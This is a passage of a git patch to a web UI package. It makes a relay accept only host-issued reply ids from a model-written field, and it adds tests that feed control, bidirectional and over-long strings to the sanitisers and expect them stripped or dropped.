args.in_reply_to : null }); + // Only an id the host issued is kept. The model writes this field, and the transcript serves it. + onSend({ body: args.body, in_reply_to: typeof args.in_reply_to === "string" && OWNER_ID.test(args.in_reply_to) ? args.in_reply_to : null }); return answer(conn, { ok: true, result: { id: `triage-${randomBytes(6).toString("hex")}` } }); } } catch (e) { diff --git a/packages/webui/tests/triage-cards.test.mjs b/packages/webui/tests/triage-cards.test.mjs index 5209c795f..20ac99786 100644 --- a/packages/webui/tests/triage-cards.test.mjs +++ b/packages/webui/tests/triage-cards.test.mjs @@ -74,6 +74,7 @@ test("no more than MAX_CARDS cards are kept", () => { test("the explanation is plain text: no control or direction characters, clipped", () => { assert.equal(plainText("a\u001b[31mred\u0007‮b\r\nc\td"), "a[31mredb\nc\td"); + assert.equal(plainText("a\u061cb\u180ec\u2028d\u2029e\ufefff"), "abcdef"); assert.equal(plainText("x".repeat(9000)).length, 8000); assert.equal(plainText(null), ""); assert.deepEqual(extractCards(null, orgs), { text: "", cards: [], dropped: 0 }); diff --git a/packages/webui/tests/triage-host.test.mjs b/packages/webui/tests/triage-host.test.mjs index fce0b9cca..e6d607b9c 100644 --- a/packages/webui/tests/triage-host.test.mjs +++ b/packages/webui/tests/triage-host.test.mjs @@ -52,7 +52,7 @@ test("the relay refuses every verb but a message to the person, and any call wit const dir = scratch(); const socket = join(dir, "relay.sock"); const sent = []; - const queue = [{ id: "owner-1", from_role: "human", class: "REQUEST", body: "hello", at: "2026-11-16T12:00:00.000Z" }]; + const queue = [{ id: "owner-0123456789ab", from_role: "human", class: "REQUEST", body: "hello", at: "2026-11-16T12:00:00.000Z" }]; const read = []; const server = await createRelay({ socket, cap: CAP, take: () => queue.splice(0), read: (id) => read.push(id), onSend: (m) => sent.push(m) }); t.after(() => server.close()); @@ -60,11 +60,17 @@ test("the relay refuses every verb but a message to the person, and any call wit assert.deepEqual(await client.call("role.claim"), { library: false }); assert.deepEqual(await client.call("processing.status"), { halted: false, invalid: false }); assert.deepEqual((await client.call("state")).tasks, { open: [], total: 0, cap: 0 }); - assert.deepEqual(await client.call("message.receive"), [{ id: "owner-1", from_role: "human", class: "REQUEST", body: "hello", at: "2026-11-16T12:00:00.000Z" }]); - assert.match((await client.call("message.send", { to: "human", body: "answer", class: "RESULT", in_reply_to: "owner-1" })).id, /^triage-/); - await client.call("message.read", { id: "owner-1" }); - assert.deepEqual(sent, [{ body: "answer", in_reply_to: "owner-1" }]); - assert.deepEqual(read, ["owner-1"]); + assert.deepEqual(await client.call("message.receive"), [{ id: "owner-0123456789ab", from_role: "human", class: "REQUEST", body: "hello", at: "2026-11-16T12:00:00.000Z" }]); + assert.match((await client.call("message.send", { to: "human", body: "answer", class: "RESULT", in_reply_to: "owner-0123456789ab" })).id, /^triage-/); + await client.call("message.read", { id: "owner-0123456789ab" }); + assert.deepEqual(sent, [{ body: "answer", in_reply_to: "owner-0123456789ab" }]); + assert.deepEqual(read, ["owner-0123456789ab"]); + // The model writes in_reply_to. Anything but an id the host issued is dropped, never stored. + for (const bad of ["", "owner-1", "owner-0123456789ab\u202e", "owner-0123456789abc", "x".repeat(60000)]) { + sent.length = 0; + await client.call("message.send", { to: "human", body: "b", in_reply_to: bad }); + assert.deepEqual(sent, [{ body: "b", in_reply_to: null }], bad.slice(0, 24)); + } const refused = [ ["decision.raise", { kind: "hire", body: "x" }], ["event.emit", { kind: "action.allowed", body: {} }], ["message.send", { to: "chief", body: "x", class: "INFO" }], ["message.send", { to: "pm", body: "x" }], -- 2.54.0